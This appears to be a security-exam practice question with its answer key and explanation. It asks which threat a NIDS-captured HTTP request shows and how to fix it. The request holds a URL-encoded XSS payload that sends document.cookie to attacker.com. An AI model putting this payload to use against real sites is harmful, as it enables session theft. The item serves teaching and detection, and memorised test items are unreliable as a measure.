A security analyst is triaging alerts from a Network Intrusion Detection System (NIDS) monitoring incoming web traffic to an internal app server. The NIDS sensor triggered an automated alert categorized as 'Database Manipulation Attempt' after capturing the following HTTP request payload:
`GET /catalog/product.php?id=%3Cscript%3Efetch%28%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E HTTP/1.1`
`Host: store.internal.net`
Upon reviewing the log payload, which of the following correctly identifies the actual threat vector present in the capture and the most appropriate remediation measure?
- Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.Cevap
- BSQL Injection (SQLi); implement parameterized database queries and prepared statements on the backend database.
- CCross-Site Scripting (XSS); update network boundary firewall ACLs to block all outbound HTTP connections from the web server.
- DCross-Site Scripting (XSS); deploy a network honeypot inline to actively drop client-side malicious script packets in transit.
Cevap
Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.
The captured payload features URL-encoded HTML script tags (`%3Cscript%3E...%3C%2Fscript%3E`) attempting to exfiltrate session data stored in `document.cookie`. This is a classic indicator of Cross-Site Scripting (XSS). The primary mitigation for XSS is securing the application logic using robust input validation and output encoding.
Adım Adım Çözüm
Anahtar Kavram
Log Payload Analysis & Security Control Selection